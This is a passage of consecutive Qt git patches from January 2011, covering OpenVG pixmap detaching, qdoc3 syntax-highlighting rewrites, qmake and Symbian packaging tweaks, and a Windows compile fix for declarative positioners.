clause; } -- cgit v0.12 From b928bab9dde43cf3acace6dfae0ae6a4f6649650 Mon Sep 17 00:00:00 2001 From: Jani Hautakangas Date: Tue, 18 Jan 2011 10:59:34 +0200 Subject: Fix to data detaching in OpenVG pixmap data QImage::converToFormat(format) won't detach QImage if format stays the same. Because of this, internal QImage buffer of QVGPixmapData was not deep copied. Drawing to QPixmap target modified the original QImage that was used to create QPixmap and in some cases crashed because paint engine referred to wrong target. Task-number: QT-4407 Reviewed-by: Jason Barron --- src/openvg/qpixmapdata_vg.cpp | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/src/openvg/qpixmapdata_vg.cpp b/src/openvg/qpixmapdata_vg.cpp index e4b1d02..732b484 100644 --- a/src/openvg/qpixmapdata_vg.cpp +++ b/src/openvg/qpixmapdata_vg.cpp @@ -200,6 +200,9 @@ bool QVGPixmapData::fromData(const uchar *buffer, uint len, const char *format, return !isNull(); } +/*! + out-of-place conversion (inPlace == false) will always detach() + */ void QVGPixmapData::createPixmapForImage(QImage &image, Qt::ImageConversionFlags flags, bool inPlace) { if (image.size() == QSize(w, h)) @@ -216,11 +219,16 @@ void QVGPixmapData::createPixmapForImage(QImage &image, Qt::ImageConversionFlags else format = image.hasAlphaChannel() ? sourceFormat() : QImage::Format_RGB32; - if (inPlace && image.data_ptr()->convertInPlace(format, flags)) + if (inPlace && image.data_ptr()->convertInPlace(format, flags)) { source = image; - else + } else { source = image.convertToFormat(format); + // convertToFormat won't detach the image if format stays the same. + if (image.format() == format) + source.detach(); + } + recreate = true; } -- cgit v0.12 From f25ede3df41ddcd947b313b6c5fc597172f73c04 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 18 Jan 2011 15:30:26 +0100 Subject: Removed unnecessary markup escaping code. There should be no need to escape markup at this point in the marker. --- tools/qdoc3/qmlcodemarker.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp index fc91cbb..e0ba0e1 100644 --- a/tools/qdoc3/qmlcodemarker.cpp +++ b/tools/qdoc3/qmlcodemarker.cpp @@ -175,7 +175,7 @@ QString QmlCodeMarker::markedUpIncludes(const QStringList& includes) ++inc; } Location location; - return protect(addMarkUp(code, 0, location)); + return addMarkUp(code, 0, location); } QString QmlCodeMarker::functionBeginRegExp(const QString& funcName) -- cgit v0.12 From 3fc81fe9bff2b35efd04955ae2ce5399ae1a91f0 Mon Sep 17 00:00:00 2001 From: axis Date: Tue, 5 Oct 2010 13:36:49 +0200 Subject: Added detection of bat files to the qtPrepareTool function. Not all tools end with .exe. Some also end in .bat. RevBy: Oswald Buddenhagen --- mkspecs/features/qt_functions.prf | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/mkspecs/features/qt_functions.prf b/mkspecs/features/qt_functions.prf index 59d49c6..964e13b 100644 --- a/mkspecs/features/qt_functions.prf +++ b/mkspecs/features/qt_functions.prf @@ -94,6 +94,12 @@ defineTest(qtPrepareTool) { else:$$1 = $$[QT_INSTALL_BINS]/$$2 } $$1 ~= s,[/\\\\],$$QMAKE_DIR_SEP, - contains(QMAKE_HOST.os, Windows):!contains($$1, .*\\.exe$):$$1 = $$eval($$1).exe + contains(QMAKE_HOST.os, Windows):!contains($$1, .*\\.(exe|bat)$) { + exists($$eval($$1).bat) { + $$1 = $$eval($$1).bat + } else { + $$1 = $$eval($$1).exe + } + } export($$1) } -- cgit v0.12 From 2b464a49ab4e06908e8d3357466f3a9186f2f0ec Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Tue, 18 Jan 2011 16:37:02 +0200 Subject: Generate createpackage calls with absolute path. This ensures that the correct version of the script is always called. Task-number: QTBUG-16687 Reviewed-by: axis --- mkspecs/features/symbian/sis_targets.prf | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/mkspecs/features/symbian/sis_targets.prf b/mkspecs/features/symbian/sis_targets.prf index 024378b..f919e1d 100644 --- a/mkspecs/features/symbian/sis_targets.prf +++ b/mkspecs/features/symbian/sis_targets.prf @@ -23,6 +23,7 @@ equals(GENERATE_SIS_TARGETS, true) { stub_pkg_target.commands = $(MAKE) -f $(MAKEFILE) qmake QMAKE_EXTRA_TARGETS += template_pkg_target installer_pkg_target stub_pkg_target + qtPrepareTool(QMAKE_CREATEPACKAGE, createpackage) symbian-abld|symbian-sbsv2 { symbian-sbsv2 { @@ -46,7 +47,7 @@ equals(GENERATE_SIS_TARGETS, true) { sis_target.depends += $${baseTarget}_template.pkg ok_sis_target.target = ok_sis - ok_sis_target.commands = createpackage $$CONVERT_GCCE_PARAM $(QT_SIS_OPTIONS) $${baseTarget}_template.pkg \ + ok_sis_target.commands = $$QMAKE_CREATEPACKAGE $$CONVERT_GCCE_PARAM $(QT_SIS_OPTIONS) $${baseTarget}_template.pkg \ $(QT_SIS_TARGET) $(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE) unsigned_sis_target.target = unsigned_sis @@ -63,7 +64,7 @@ equals(GENERATE_SIS_TARGETS, true) { unsigned_sis_target.depends += $${baseTarget}_template.pkg ok_unsigned_sis_target.target = ok_unsigned_sis - ok_unsigned_sis_target.commands = createpackage $$CONVERT_GCCE_PARAM $(QT_SIS_OPTIONS) -o $${baseTarget}_template.pkg $(QT_SIS_TARGET) + ok_unsigned_sis_target.commands = $$QMAKE_CREATEPACKAGE $$CONVERT_GCCE_PARAM $(QT_SIS_OPTIONS) -o $${baseTarget}_template.pkg $(QT_SIS_TARGET) target_sis_target.target = $${baseTarget}.sis target_sis_target.commands = $(MAKE) -f $(MAKEFILE) sis @@ -75,7 +76,7 @@ equals(GENERATE_SIS_TARGETS, true) { installer_sis_target.depends = $${baseTarget}_installer.pkg sis ok_installer_sis_target.target = ok_installer_sis - ok_installer_sis_target.commands = createpackage $(QT_SIS_OPTIONS) $${baseTarget}_installer.pkg - \ + ok_installer_sis_target.commands = $$QMAKE_CREATEPACKAGE $(QT_SIS_OPTIONS) $${baseTarget}_installer.pkg - \ $(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE) ok_installer_sis_target.depends = $${baseTarget}_installer.pkg @@ -84,7 +85,7 @@ equals(GENERATE_SIS_TARGETS, true) { unsigned_installer_sis_target.depends = $${baseTarget}_installer.pkg unsigned_sis ok_unsigned_installer_sis_target.target = ok_unsigned_installer_sis - ok_unsigned_installer_sis_target.commands = createpackage $(QT_SIS_OPTIONS) -o $${baseTarget}_installer.pkg + ok_unsigned_installer_sis_target.commands = $$QMAKE_CREATEPACKAGE $(QT_SIS_OPTIONS) -o $${baseTarget}_installer.pkg ok_unsigned_installer_sis_target.depends = $${baseTarget}_installer.pkg fail_sis_nocache_target.target = fail_sis_nocache @@ -104,7 +105,7 @@ equals(GENERATE_SIS_TARGETS, true) { stub_sis_target.depends += $${baseTarget}_stub.pkg ok_stub_sis_target.target = ok_stub_sis - ok_stub_sis_target.commands = createpackage -s $(QT_SIS_OPTIONS) $${baseTarget}_stub.pkg \ + ok_stub_sis_target.commands = $$QMAKE_CREATEPACKAGE -s $(QT_SIS_OPTIONS) $${baseTarget}_stub.pkg \ $(QT_SIS_TARGET) $(QT_SIS_CERTIFICATE) $(QT_SIS_KEY) $(QT_SIS_PASSPHRASE) QMAKE_EXTRA_TARGETS += sis_target \ @@ -142,8 +143,6 @@ equals(GENERATE_SIS_TARGETS, true) { QMAKE_EXTRA_TARGETS += store_build_target } } else { - qtPrepareTool(QMAKE_CREATEPACKAGE, createpackage) - sis_destdir = $$DESTDIR isEmpty(sis_destdir):sis_destdir = . !equals(TARGET, "$$baseTarget"):sis_destdir = $$sis_destdir/$$dirname(TARGET) -- cgit v0.12 From 05a678de3f2e4fe67dc1f93a2dee18e197c0e1c0 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 18 Jan 2011 16:40:42 +0100 Subject: Doc: Fixed inconsistent and incorrect terminology. Reviewed-by: Robin Burchell --- src/corelib/tools/qlocale.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/corelib/tools/qlocale.cpp b/src/corelib/tools/qlocale.cpp index fcfa8f0..6515edb 100644 --- a/src/corelib/tools/qlocale.cpp +++ b/src/corelib/tools/qlocale.cpp @@ -2199,7 +2199,7 @@ static quint16 localePrivateIndex(const QLocalePrivate *p) /*! Constructs a QLocale object with the specified \a name, which has the format - "language[_country][.codeset][@modifier]" or "C", where: + "language[_territory][.codeset][@modifier]" or "C", where: \list \i language is a lowercase, two-letter, ISO 639 language code, -- cgit v0.12 From f9d18bcf4d966c74c364dd569d5fddd262a2862c Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 18 Jan 2011 20:29:44 +0100 Subject: Replaced the C++ code marker with the one from Qt Quarterly. More changes still need to be made to restore features from the old marker, including markup for links to classes and functions. --- tools/qdoc3/cppcodemarker.cpp | 483 ++++++++++++++++++++---------------------- 1 file changed, 235 insertions(+), 248 deletions(-) diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 8ea1c7f..2b7db62 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -51,29 +51,6 @@ QT_BEGIN_NAMESPACE -static int insertTagAround(QString &result, int pos, int len, const QString &tagName, - const QString &attributes = QString()) -{ - QString s; - //s.reserve(result.size() + tagName.size() * 2 + attributes.size() + 20); - s += result.midRef(0, pos); - s += QLatin1Char('<'); - s += tagName; - if (!attributes.isEmpty()) { - s += QLatin1Char(' '); - s += attributes; - } - s += QLatin1Char('>'); - s += result.midRef(pos, len); - s += QLatin1String("'); - s += result.midRef(pos + len); - int diff = s.length() - result.length(); - result = s; - return diff; -} - /*! The constructor does nothing. */ @@ -159,7 +136,7 @@ QString CppCodeMarker::markedUpCode(const QString &code, const Node *relative, const Location &location) { - return addMarkUp(protect(code), relative, location); + return addMarkUp(code, relative, location); } QString CppCodeMarker::markedUpSynopsis(const Node *node, @@ -437,11 +414,11 @@ QString CppCodeMarker::markedUpIncludes(const QStringList& includes) QStringList::ConstIterator inc = includes.begin(); while (inc != includes.end()) { - code += "#include <<@headerfile>" + *inc + ">\n"; + code += "<@preprocessor>#include <<@headerfile>" + *inc + ">\n"; ++inc; } Location location; - return addMarkUp(code, 0, location); + return code; } QString CppCodeMarker::functionBeginRegExp(const QString& funcName) @@ -867,240 +844,250 @@ const Node *CppCodeMarker::resolveTarget(const QString& target, return 0; } -QString CppCodeMarker::addMarkUp(const QString& protectedCode, +static const char * const typeTable[] = { + "bool", "char", "double", "float", "int", "long", "short", + "signed", "unsigned", "uint", "ulong", "ushort", "uchar", "void", + "qlonglong", "qulonglong", + "qint", "qint8", "qint16", "qint32", "qint64", + "quint", "quint8", "quint16", "quint32", "quint64", + "qreal", "cond", 0 +}; + +static const char * const keywordTable[] = { + "and", "and_eq", "asm", "auto", "bitand", "bitor", "break", + "case", "catch", "class", "compl", "const", "const_cast", + "continue", "default", "delete", "do", "dynamic_cast", "else", + "enum", "explicit", "export", "extern", "false", "for", "friend", + "goto", "if", "include", "inline", "monitor", "mutable", "namespace", + "new", "not", "not_eq", "operator", "or", "or_eq", "private", "protected", + "public", "register", "reinterpret_cast", "return", "sizeof", + "static", "static_cast", "struct", "switch", "template", "this", + "throw", "true", "try", "typedef", "typeid", "typename", "union", + "using", "virtual", "volatile", "wchar_t", "while", "xor", + "xor_eq", "synchronized", + // Qt specific + "signals", "slots", "emit", 0 +}; + +static QString untabified(const QString &in) +{ + QString res; + int col = 0; + int i = 0; + + for (; i < (int) in.length(); i++) { + if (in[i] == QChar('\t')) { + res += QString(" " + (col & 0x7)); + col = (col + 8) & ~0x7; + } else { + res += in[i]; + if (in[i] == QChar('\n')) + col = 0; + } + } + + return res; +} + +/* + @char + @class + @comment + @function + @keyword + @number + @op + @preprocessor + @string + @type +*/ + +QString CppCodeMarker::addMarkUp(const QString &in, const Node * /* relative */, const Location & /* location */) { - static QRegExp globalInclude("#include +<([^<>&]+)>"); - static QRegExp yHasTypeX("(?:^|\n *)([a-zA-Z_][a-zA-Z_0-9]*)" - "(?:<[^;{}]+>)?(?: *(?:\\*|&) *| +)" - "([a-zA-Z_][a-zA-Z_0-9]*)? *[,;()=]"); - static QRegExp xNewY("([a-zA-Z_][a-zA-Z_0-9]*) *= *new +([a-zA-Z_0-9]+)"); - static QRegExp xDotY("\\b([a-zA-Z_][a-zA-Z_0-9]*) *(?:\\.|->|,[ \n]*S(?:IGNAL|LOT)\\() *" - "([a-zA-Z_][a-zA-Z_0-9]*)(?= *\\()"); - static QRegExp xIsStaticZOfY("[\n:;{(=] *(([a-zA-Z_0-9]+)::([a-zA-Z_0-9]+))(?= *\\()"); - static QRegExp classX("[:,][ \n]*(?:p(?:ublic|r(?:otected|ivate))[ \n]+)?" - "([a-zA-Z_][a-zA-Z_0-9]*)"); - static QRegExp globalX("[\n{()=] *([a-zA-Z_][a-zA-Z_0-9]*)[ \n]*\\("); - static QRegExp multiLineComment("/(?:( )?\\*(?:[^*]+|\\*(?! /))*\\*\\1/)"); - multiLineComment.setMinimal(true); - static QRegExp singleLineComment("[^:]//(?!!)[^!\\n]*"); - static QRegExp preprocessor("(?:^|\n)(#[ \t]*(?:include|if|elif|endif|error|pragma|define" - "|warning)(?:(?:\\\\\n|\\n#)[^\n]*)*)"); - static QRegExp literals(""(?:[^\\\\&]|\\\\[^\n]|&(?!quot;))*"" - "|'(?:[^\\\\]|\\\\(?:[^x0-9']|x[0-9a-f]{1,4}|[0-9]{1,3}))'"); - - QString result = protectedCode; - int pos; - - if (!hurryUp()) { - /* - Mark global includes. For example: - - #include <<@headerfile>QString - */ - pos = 0; - while ((pos = result.indexOf(globalInclude, pos)) != -1) - pos += globalInclude.matchedLength() - + insertTagAround(result, - globalInclude.pos(1), - globalInclude.cap(1).length(), - "@headerfile"); - - /* - Look for variable definitions and similar constructs, mark - the data type, and remember the type of the variable. - */ - QMap > typesForVariable; - pos = 0; - while ((pos = yHasTypeX.indexIn(result, pos)) != -1) { - QString x = yHasTypeX.cap(1); - QString y = yHasTypeX.cap(2); - - if (!y.isEmpty()) - typesForVariable[y].insert(x); - - /* - Without the minus one at the end, 'void member(Class - var)' would give 'member' as a variable of type 'void', - but would ignore 'Class var'. (### Is that true?) - */ - pos += yHasTypeX.matchedLength() - + insertTagAround(result, - yHasTypeX.pos(1), - x.length(), - "@type") - 1; - } +#define readChar() \ + ch = (i < (int)code.length()) ? code[i++].cell() : EOF - /* - Do syntax highlighting of preprocessor directives. - */ - pos = 0; - while ((pos = preprocessor.indexIn(result, pos)) != -1) - pos += preprocessor.matchedLength() - + insertTagAround(result, - preprocessor.pos(1), - preprocessor.cap(1).length(), - "@preprocessor"); - - /* - Deal with string and character literals. - */ - pos = 0; - while ((pos = literals.indexIn(result, pos)) != -1) - pos += literals.matchedLength() - + insertTagAround(result, - pos, - literals.matchedLength(), - result.at(pos) == - QLatin1Char(' ') ? "@string" : "@char"); - - /* - Look for 'var = new Class'. - */ - pos = 0; - while ((pos = xNewY.indexIn(result, pos)) != -1) { - QString x = xNewY.cap(1); - QString y = xNewY.cap(2); - typesForVariable[x].insert(y); - - pos += xNewY.matchedLength() + insertTagAround(result, - xNewY.pos(2), - y.length(), - "@type"); - } + QString code = in; - /* - Insert some stuff that cannot harm. - */ - typesForVariable["qApp"].insert("QApplication"); - - /* - Add link to ': Class'. - */ - pos = 0; - while ((pos = classX.indexIn(result, pos)) != -1) - pos += classX.matchedLength() - + insertTagAround(result, - classX.pos(1), - classX.cap(1).length(), - "@type") - 1; - - /* - Find use of any of - - var.method() - var->method() - var, SIGNAL(method()) - var, SLOT(method()). - */ - pos = 0; - while ((pos = xDotY.indexIn(result, pos)) != -1) { - QString x = xDotY.cap(1); - QString y = xDotY.cap(2); - - QSet types = typesForVariable.value(x); - pos += xDotY.matchedLength() - + insertTagAround(result, - xDotY.pos(2), - xDotY.cap(2).length(), - "@func", - (types.count() == 1) ? "target=\"" - + protect(*types.begin() + "::" + y) - + "()\"" : QString()); - } + QMap types; + QMap keywords; + int j = 0; + while (typeTable[j] != 0) { + types.insert(QString(typeTable[j]), 0); + j++; + } + j = 0; + while (keywordTable[j] != 0) { + keywords.insert(QString(keywordTable[j]), 0); + j++; + } - /* - Add link to 'Class::method()'. - */ - pos = 0; - while ((pos = xIsStaticZOfY.indexIn(result, pos)) != -1) { - QString x = xIsStaticZOfY.cap(1); - QString z = xIsStaticZOfY.cap(3); - - pos += insertTagAround(result, - xIsStaticZOfY.pos(3), - z.length(), - "@func", - "target=\"" + protect(x) + "()\""); - pos += insertTagAround(result, - xIsStaticZOfY.pos(2), - xIsStaticZOfY.cap(2).length(), - "@type"); - pos += xIsStaticZOfY.matchedLength() - 1; - } + QString out(""); + int braceDepth = 0; + int parenDepth = 0; + int i = 0; + char ch; + QRegExp classRegExp("Qt?(?:[A-Z3]+[a-z][A-Za-z]*|t)"); + QRegExp functionRegExp("q([A-Z][a-z]+)+"); + + readChar(); + + while (ch != EOF) { + int second = i; + QString tag; + + if (isalpha(ch) || ch == '_') { + QString ident; + do { + ident += ch; + readChar(); + } while (isalnum(ch) || ch == '_'); + + if (classRegExp.exactMatch(ident)) { + tag = QLatin1String("class"); + } else if (functionRegExp.exactMatch(ident)) { + tag = QLatin1String("function"); + } else if (types.contains(ident)) { + tag = QLatin1String("type"); + } else if (keywords.contains(ident)) { + tag = QLatin1String("keyword"); + } else if (braceDepth == 0 && parenDepth == 0) { + if (QString(code.unicode() + i - 1, code.length() - (i - 1)) + .indexOf(QRegExp(QLatin1String("^\\s*\\("))) == 0) + tag = QLatin1String("function"); + } + } else if (isdigit(ch)) { + do { + readChar(); + } while (isalnum(ch) || ch == '.'); + tag = QLatin1String("number"); + } else { + switch (ch) { + case '+': + case '-': + case '!': + case '%': + case '^': + case '&': + case '*': + case ',': + case '.': + case '<': + case '=': + case '>': + case '?': + case '[': + case ']': + case '|': + case '~': + readChar(); + tag = QLatin1String("op"); + break; + case '"': + readChar(); + + while (ch != EOF && ch != '"') { + if (ch == '\\') + readChar(); + readChar(); + } + readChar(); + tag = QLatin1String("string"); + break; + case '#': + readChar(); + while (ch != EOF && ch != '\n') { + if (ch == '\\') + readChar(); + readChar(); + } + tag = QLatin1String("preprocessor"); + break; + case '\'': + readChar(); + + while (ch != EOF && ch != '\'') { + if (ch == '\\') + readChar(); + readChar(); + } + readChar(); + tag = QLatin1String("char"); + break; + case '(': + readChar(); + parenDepth++; + break; + case ')': + readChar(); + parenDepth--; + break; + case ':': + readChar(); + if (ch == ':') { + readChar(); + tag = QLatin1String("op"); + } + break; + case '/': + readChar(); + if (ch == '/') { + do { + readChar(); + } while (ch != EOF && ch != '\n'); + tag = QLatin1String("comment"); + } else if (ch == '*') { + bool metAster = false; + bool metAsterSlash = false; + + readChar(); + + while (!metAsterSlash) { + if (ch == EOF) + break; + + if (ch == '*') + metAster = true; + else if (metAster && ch == '/') + metAsterSlash = true; + else + metAster = false; + readChar(); + } + tag = QLatin1String("comment"); + } else { + tag = QLatin1String("op"); + } + break; + case '{': + readChar(); + braceDepth++; + break; + case '}': + readChar(); + braceDepth--; + break; + default: + readChar(); + } + } - /* - Add link to 'globalFunction()'. - */ - pos = 0; - while ((pos = globalX.indexIn(result, pos)) != -1) { - QString x = globalX.cap(1); - if (x != "QT_FORWARD_DECLARE_CLASS") { - pos += globalX.matchedLength() - + insertTagAround(result, - globalX.pos(1), - x.length(), - "@func", - "target=\"" + protect(x) + "()\"") - 1; - } - else - pos += globalX.matchedLength(); - } - } + if (!tag.isEmpty()) + out += QLatin1String("<@") + tag + QLatin1String(">"); - /* - Do syntax highlighting of comments. Also alter the code in a - minor way, so that we can include comments in documentation - comments. - */ - pos = 0; - while (pos != -1) { - int mlpos; - int slpos; - int len; - slpos = singleLineComment.indexIn(result, pos); - mlpos = multiLineComment.indexIn(result, pos); - - if (slpos == -1 && mlpos == -1) - break; - - if (slpos == -1) { - pos = mlpos; - len = multiLineComment.matchedLength(); - } - else if (mlpos == -1) { - pos = slpos + 1; - len = singleLineComment.matchedLength() - 1; - } - else { - if (slpos < mlpos) { - pos = slpos + 1; - len = singleLineComment.matchedLength() - 1; - } - else { - pos = mlpos; - len = multiLineComment.matchedLength(); - } - } + if (tag.isEmpty() && i == code.length()) + out += protect(code.mid(second - 1, i - second + 1)); + else + out += protect(code.mid(second - 1, i - second)); - if (result.at(pos + 1) == QLatin1Char(' ')) { - result.remove(pos + len - 2, 1); - result.remove(pos + 1, 1); - len -= 2; + if (!tag.isEmpty()) + out += QLatin1String(""); - forever { - int endcodePos = result.indexOf("\\ endcode", pos); - if (endcodePos == -1 || endcodePos >= pos + len) - break; - result.remove(endcodePos + 1, 1); - len -= 1; - } - } - pos += len + insertTagAround(result, pos, len, "@comment"); } - return result; + return out; } #ifdef QDOC_QML -- cgit v0.12 From fc66f45827b723eb207f9bad113523f0c26c0d44 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 18 Jan 2011 20:30:57 +0100 Subject: Define what the -slow command line option does. Added configuration options for syntax highlighting and linking. These are also enabled if the -slow command line option is used. --- tools/qdoc3/codemarker.cpp | 12 ++++++------ tools/qdoc3/codemarker.h | 4 +--- tools/qdoc3/config.h | 2 ++ tools/qdoc3/ditaxmlgenerator.cpp | 3 --- tools/qdoc3/ditaxmlgenerator.h | 1 - tools/qdoc3/htmlgenerator.cpp | 8 ++++---- tools/qdoc3/htmlgenerator.h | 2 +- tools/qdoc3/main.cpp | 3 ++- 8 files changed, 16 insertions(+), 19 deletions(-) diff --git a/tools/qdoc3/codemarker.cpp b/tools/qdoc3/codemarker.cpp index f1b6346..89933d3 100644 --- a/tools/qdoc3/codemarker.cpp +++ b/tools/qdoc3/codemarker.cpp @@ -59,7 +59,7 @@ QList CodeMarker::markers; been read. */ CodeMarker::CodeMarker() - : slow(false) + : linksInMarkup(false) { markers.prepend(this); } @@ -74,14 +74,14 @@ CodeMarker::~CodeMarker() } /*! - The only thing a code market initializes is its \e{slow} - flag. The \e{slow} flag indicates whether the operations - that slow down qdoc are to be performed or not. It is - turned off by default. + The only thing a code market initializes is its \e{linksInMarkup} + flag. The \e{linksInMarkup} flag indicates whether links are created for + names that have corresponding entries in the API documentation. + It is turned off by default. */ void CodeMarker::initializeMarker(const Config &config) { - slow = config.getBool(QLatin1String(CONFIG_SLOW)); + linksInMarkup = config.getBool(QLatin1String(CONFIG_LINKSINMARKUP)); } /*! diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h index 3cf3984..e643082 100644 --- a/tools/qdoc3/codemarker.h +++ b/tools/qdoc3/codemarker.h @@ -164,8 +164,6 @@ class CodeMarker static QString stringForNode(const Node *node); protected: - bool hurryUp() const { return !slow; } - virtual QString sortName(const Node *node); QString protect(const QString &string); QString typified(const QString &string); @@ -184,7 +182,7 @@ class CodeMarker private: QString macName(const Node *parent, const QString &name = QString()); - bool slow; + bool linksInMarkup; static QString defaultLang; static QList markers; diff --git a/tools/qdoc3/config.h b/tools/qdoc3/config.h index bc36f3d..2dd7d50 100644 --- a/tools/qdoc3/config.h +++ b/tools/qdoc3/config.h @@ -141,6 +141,7 @@ class Config #define CONFIG_IMAGES "images" #define CONFIG_INDEXES "indexes" #define CONFIG_LANGUAGE "language" +#define CONFIG_LINKSINMARKUP "linksinmarkup" #define CONFIG_MACRO "macro" #define CONFIG_NATURALLANGUAGE "naturallanguage" #define CONFIG_OBSOLETELINKS "obsoletelinks" @@ -163,6 +164,7 @@ class Config #define CONFIG_STYLE "style" #define CONFIG_STYLES "styles" #define CONFIG_STYLESHEETS "stylesheets" +#define CONFIG_SYNTAXHIGHLIGHTING "syntaxhighlighting" #define CONFIG_TEMPLATEDIR "templatedir" #define CONFIG_TABSIZE "tabsize" #define CONFIG_TAGFILE "tagfile" diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 7b40886..6f9d537 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -354,7 +354,6 @@ DitaXmlGenerator::DitaXmlGenerator() offlineDocs(true), funcLeftParen("\\S(\\()"), myTree(0), - slow(false), obsoleteLinks(false), noLinks(false), tableColumnCount(0) @@ -461,8 +460,6 @@ void DitaXmlGenerator::initializeGenerator(const Config &config) ++edition; } - slow = config.getBool(CONFIG_SLOW); - stylesheets = config.getStringList(DitaXmlGenerator::format() + Config::dot + DITAXMLGENERATOR_STYLESHEETS); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 1a42e5f..640d7db 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -291,7 +291,6 @@ class DitaXmlGenerator : public PageGenerator QStringList stylesheets; QStringList customHeadElements; const Tree* myTree; - bool slow; bool obsoleteLinks; bool noLinks; int tableColumnCount; diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index ebc2713..a3156c3 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -219,7 +219,7 @@ HtmlGenerator::HtmlGenerator() threeColumnEnumValueTable(true), funcLeftParen("\\S(\\()"), myTree(0), - slow(false), + syntaxHighlighting(false), obsoleteLinks(false) { } @@ -320,7 +320,7 @@ void HtmlGenerator::initializeGenerator(const Config &config) ++edition; } - slow = config.getBool(CONFIG_SLOW); + syntaxHighlighting = config.getBool(CONFIG_SYNTAXHIGHLIGHTING); codeIndent = config.getInt(CONFIG_CODEINDENT); @@ -472,7 +472,7 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << protectEnc(plainCode(atom->string())); } else { - out() << highlightedCode(atom->string(), marker, relative); + out() << protectEnc(plainCode(atom->string())); } out() << formattingRightMap()[ATOM_FORMATTING_TELETYPE]; break; @@ -2781,7 +2781,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode, } - if (slow) { + if (syntaxHighlighting) { // is this block ever used at all? // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)()" src = html; diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index f5d2427..6701184 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -279,7 +279,7 @@ class HtmlGenerator : public PageGenerator QStringList stylesheets; QStringList customHeadElements; const Tree *myTree; - bool slow; + bool syntaxHighlighting; bool obsoleteLinks; QMap moduleClassMap; QMap moduleNamespaceMap; diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 782df39..8193d2d 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -147,7 +147,8 @@ static void processQdocconfFile(const QString &fileName) QStringList() << defaults[i].value); ++i; } - config.setStringList(CONFIG_SLOW, QStringList(slow ? "true" : "false")); + config.setStringList(CONFIG_SYNTAXHIGHLIGHTING, QStringList(slow ? "true" : "false")); + config.setStringList(CONFIG_LINKSINMARKUP, QStringList(slow ? "true" : "false")); config.setStringList(CONFIG_SHOWINTERNAL, QStringList(showInternal ? "true" : "false")); config.setStringList(CONFIG_OBSOLETELINKS, -- cgit v0.12 From 9c1e67d83f6175f339e6771be05ee60ba72426b3 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Wed, 19 Jan 2011 08:38:49 +1000 Subject: Compile on windows --- src/declarative/graphicsitems/qdeclarativepositioners.cpp | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index b3383ab..ee9181d 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -611,7 +611,7 @@ void QDeclarativeRow::doPositioning(QSizeF *contentSize) { int hoffset = 0; - int hoffsets[positionedItems.count()]; + QList hoffsets; for (int ii = 0; ii < positionedItems.count(); ++ii) { const PositionedItem &child = positionedItems.at(ii); if (!child.item || !child.isVisible) @@ -621,7 +621,7 @@ void QDeclarativeRow::doPositioning(QSizeF *contentSize) if(child.item->x() != hoffset) positionX(hoffset, child); }else{ - hoffsets[ii] = hoffset; + hoffsets << hoffset; } contentSize->setHeight(qMax(contentSize->height(), QGraphicsItemPrivate::get(child.item)->height())); @@ -642,11 +642,12 @@ void QDeclarativeRow::doPositioning(QSizeF *contentSize) else end = width(); + int acc = 0; for (int ii = 0; ii < positionedItems.count(); ++ii) { const PositionedItem &child = positionedItems.at(ii); if (!child.item || !child.isVisible) continue; - hoffset = end - hoffsets[ii] - QGraphicsItemPrivate::get(child.item)->width(); + hoffset = end - hoffsets[acc++] - QGraphicsItemPrivate::get(child.item)->width(); if(child.item->x() != hoffset) positionX(hoffset, child); } @@ -1234,7 +1235,7 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize) int hoffset = 0; int voffset = 0; int linemax = 0; - int hoffsets[positionedItems.count()]; + QList hoffsets; for (int i = 0; i < positionedItems.count(); ++i) { const PositionedItem &child = positionedItems.at(i); @@ -1260,7 +1261,7 @@ void QDeclarativeFlow::doPositioning(QSizeF *contentSize) if(child.item->x() != hoffset) positionX(hoffset, child); }else{ - hoffsets[i] = hoffset; + hoffsets << hoffset; } if(child.item->y() != voffset) positionY(voffset, child); @@ -1287,11 +1288,12 @@ void QDeclarativeFlow::doPositioning(QSizeF 